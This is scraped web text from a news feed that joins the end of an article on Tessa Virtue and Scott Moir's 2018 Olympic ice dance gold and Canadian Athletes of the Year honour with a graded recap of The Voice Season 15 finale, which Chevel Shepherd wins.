Tessa and Scott entered the free dance with an incredibly slim lead over France's Gabriella Papadakis and Guillaume Cizeron, despite breaking their own record score in the short dance the night before.

That, plus two American pairs within striking distance, left every conceivable outcome in play — from gold to missing the podium outright. Things only became more tense when Gabriella Papadakis and Guillaume Cizeron, skating before Virtue and Moir and seemingly unfazed by a costume malfunction that marred their short dance the day before, set a new world record in the free program.

The French team's performance, set to Beethoven's Moonlight Sonata, mesmerized the judges, who gave them the highest overall score ever.

In that moment, the chance of a golden send-off for Tessa and Scott seemed to be slipping away. To eclipse their French training partners — how's that for additional intrigue? — they would need to surpass their previous personal best in the free skate and shatter a freshly minted world record.

No matter what, it would still be a fine farewell for the venerated Canadians, who had won a team-event gold in Pyeongchang to go along with their ice dance title from Vancouver in 2010 and a pair of silvers from Sochi. Tessa and Scott took the ice as fans around the world watched in quiet anticipation. That silence would not last long.

Watch Tessa and Scott's full free dance:

Tessa Virtue and Scott Moir's free program from the 2018 Winter Olympics in Pyeongchang. 9:07

The Moulin Rouge free routine was a perfect fit — a dance exuding the raw passion the duo became famous for.

As the spectacle unfolded on the ice, any feelings of doubt or uncertainty among their fans gave way, replaced with a sense of awe and an appreciation for what was happening.

The intimacy Tessa and Scott brought to that final routine made it seem as if everyone had a front-row seat to their performance — from those watching in their Ontario hometowns of London and Ilderton, respectively, to Canadians nationwide and fans glued to their screens at home or at viewing parties.

When the final note sounded, a roar erupted from the crowd in South Korea as the two embraced on the ice. The final scores came shortly after — Tessa and Scott would cap off their Olympic careers with gold around their necks and a new overall world record.

Watch highlights from Tessa and Scott's farewell Olympics:

A look back on the final Olympic Games for Canadian figure skating legends Tessa Virtue and Scott Moir. 5:46

The year 2018 was filled with remarkable performances by Canadians, and Tessa and Scott were far from the only ones considered for our Athletes of the Year.

Golfer Brooke Henderson, with her entire career still ahead of her, secured her place in the pantheon of great Canadian athletes by becoming the first woman in 45 years to capture the national title — against an immensely talented field of competitors, no less, at the CP Women's Open.

Figure skater Kaetlyn Osmond, another member of the Canadian squad who won Olympic team gold, went toe to toe with a pair of Russian titans to capture women's bronze in Pyeongchang and later followed it up with a world championship crown.

On the subject of royalty, 2018 Lou Marsh Trophy winner Mikael Kingsbury captured a long-coveted Olympic moguls gold to go along with a pair of Crystal Globes from the World Cup circuit and is showing no signs of slowing down. He recently surpassed 50 career World Cup wins and has kept adding to his haul since then.

These impressive feats emphasize the elite company that Tessa and Scott found themselves in this year. Their final free skate will be remembered fondly as a moment that transcended sports and made Canadians feel united, however briefly, by the grace and power of two of their finest champions.

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]]> https://briefnews.eu/tessa-virtue-scott-moir-named-cbc-sports-canadian-athletes-of-the-year/feed/ 0 The Voice Season 15 Finale Recap: Was the Right Singer Named the Winner? https://briefnews.eu/the-voice-season-15-finale-recap-was-the-right-singer-named-the-winner/ https://briefnews.eu/the-voice-season-15-finale-recap-was-the-right-singer-named-the-winner/#respond Wed, 19 Dec 2018 05:59:36 +0000 http://briefnews.eu/the-voice-season-15-finale-recap-was-the-right-singer-named-the-winner/ Tuesday’s Season 15 finale of The Voice promised to be a real nail-biter. Kirk Jay, heretofore the frontrunner, had had an off night Monday, and Kennedy Holmes had turned in not one, not two but three dazzling performances. They were so good, in fact, that my praise got me accused of being biased. (I think all my enthusiasm for her means is that I prefer contestants who sing like a dream and don’t stand on stage like they’ve been hit by a freeze ray.) But, considering that just last week, the 14-year-old had had to fight for the Instant Save, could she possibly have turned around enough viewers to walk away with the win? Or had Kirk’s stumble just opened the door for Chevel Shepherd or Chris Kroeze, both of whom had fine, if not mind-blowingly good, weeks but, like Kirk, appealed to the massive country vote? Before we found out, there was, of course, endless buildup. Among the performances were…

the-voice-recap-chevel-shepherd-wins-season-15-finaleKennedy Holmes (Team Jennifer) and Kelly Rowland, “When Love Takes Over” — Kennedy’s grade: B- | Club songs never seem to work tremendously well on The Voice, and this one was, unfortunately, no exception (even with the original vocalist on board). Kennedy and Kelly sounded a bit under-rehearsed, especially on their harmonies. But — and I know I’ll get accused of bias again — Kennedy did out-sing her famous duet partner (who I still hope will someday become a Voice coach — she was a great mentor during Season 13).

Marshmello feat. Bastille, “Happier” | Well, there’s something you don’t see in every season finale. While Dan Smith sang this catchy part alt-rock, part-DJ number, a guy in a big marshmallow head — gonna go out on a limb and guess that that was Marshmello — played what looked like an electric drum. And just like that, I had a craving for s’mores.

the-voice-recap-chevel-shepherd-wins-season-15-finaleKirk Jay (Team Blake) and Rascall Flatts, “Back to Life” — Kirk’s grade: A- | When Kirk started singing, I was relieved — this was the Kirk that I’d been a fan of all season long. Dunno what went wrong Monday, but whatever it was, he was back in fine form Tuesday. A day late to help him in the contest, sure, but at least he got to end the season on a high note, whatever happened. His vocal was strong, not at all froggy, and he had one run in there that was so complicated, it might have qualified as an obstacle course.

DeAndre Nico, MaKenzie Thomas, Kymberli Joye and Patrique Fortson, “Declaration (This Is It)” | This was one tight little supergroup. Though the Kirk Franklin number was a little meandering for my taste and involved a lot of taking turns wailing, the quartet sounded gorgeous when they sang together — those harmonies! And I couldn’t help but be delighted that DeAndre got a chance to remind Adam Levine — and the audience — of what an idiot his coach had been to cast him aside so readily.

Chris Kroeze (Team Blake) and the Doobie Brothers, “Long Train Runnin’” — Chris’ grade: B+ | Whoa, the Doobie Brothers still rock. I’d swear they even upped the tempo on their classic from the rendition that Chris had done for his Top 11 performance. Vocally, he sounded great here — raspy and rockin’ (and unlike the Doobies’ frontman, he didn’t hit a clunker of a long note). He still refused to budge on stage, but at least he looked like he was having a good time.

the-voice-recap-chevel-shepherd-wins-season-15-finaleBrynn Cartelli, “Last Night’s Mascara” | What the what? The new single by Season 14’s winner, which she also wrote, is about the last thing that I expected from her after her poptastic, Julia Michaels-penned “Walk My Way.” It leaned more toward the rock side of pop-rock than the pop side — or, if you will, more toward torn-up jeans than to glittery eyeshadow. But it was catchy as hell, and Brynn had the voice to pull it off. Now I’m really curious to see what her album will sound like.

Panic! At the Disco, “Hey Look Ma, I Made It/High Hopes” | Damn, that Brendon Urie is just a charisma machine, isn’t he? His performance was so energetic and engaging that I couldn’t take my eyes off him any more than I could my ears. It also made me think I wasn’t crazy to keep dinging Chris and Chevel for their static stage presence. This was the kind of showstopping performance that makes you want to follow an act from one single to the next, from one album to the next, forever.

the-voice-recap-chevel-shepherd-wins-season-15-finaleReagan Strange, Sarah Grace and Abby Cates, “Million Reasons” | Oh, Reagan. Even with nothing on the line, she still couldn’t quite put behind her her pitch issues. At least she had a nice moment here and there, managed a smile and hit some decent big notes (with Adam watching every second, willing her to nail it, you could just tell). Abby was mainly sharp. And Sarah… well, she just kinda mopped the floor with the two of ’em, her voice was so strong and rich.

John Legend and Esperanza Spalding, “Have Yourself a Merry Little Christmas” | If the Grammy winner is half as charming as a Voice coach as he was on this jazzy duet from his holiday album, Season 16 is gonna be downright delightful. And I don’t know what Esperanza was wearing, but I need one — it looked like super-comfy, silky PJs.

the-voice-recap-chevel-shepherd-wins-season-15-finaleJennifer Hudson and Kelly Clarkson, “O Holy Night” | The coaches’ duet was actually pretty restrained. I kinda expected them to blast us straight out of church and up to the heavens. I wished their harmonies had come together a little bit better, but this was mostly quite lovely. I mean, it’s JHud and Kelly. It had better be good, right?

Chevel Shepherd (Team Kelly) and Dan + Shay, “Speechless” — Chevel’s grade: A- | What happened during this performance? Chevel sounded terrific, as she usually does — though it wouldn’t have killed the sound guy to turn up the volume on her mic at times. But what was so startling to me was that she actually looked… comfortable. What’s more, there was a life and understanding in her eyes that I’d been looking for all season. So it was not only a beautiful vocal, it was a memorable performance, too.

Dierks Bentley, “Burning Man” | I feel bad always comparing the contestants to one another or, worse, to super-successful, established artists. But Dierks’ performance here was such a portrait of casual intensity that I hoped Chris was taking notes. It wasn’t like he was up there dancing around or anything — well, not much, anyway — but it seemed like head to heel he was really feeling the song. And he exuded a confidence that seared his performance into memory as much as the song itself.

Halsey, “Without Me” | Props to the Voice mentor — she didn’t just give a passionate performance, she did so while taking part in what looked like a Mia Michaels lyrical number from So You Think You Can Dance as every fog machine in the joint was turned up full blast.

When at last we got to the results, it was…

Fourth Place
Kennedy Holmes (Team Jennifer) — travesty!

Third Place
Kirk Jay (Team Blake) — whaaat?

Second Place
Chris Kroeze (Team Blake)

The Voice Season 15 Winner
Chevel Shepherd (Team Kelly)

So, are you satisfied with the results? What did you think of the season overall? Vote in the polls below, then hit the comments.

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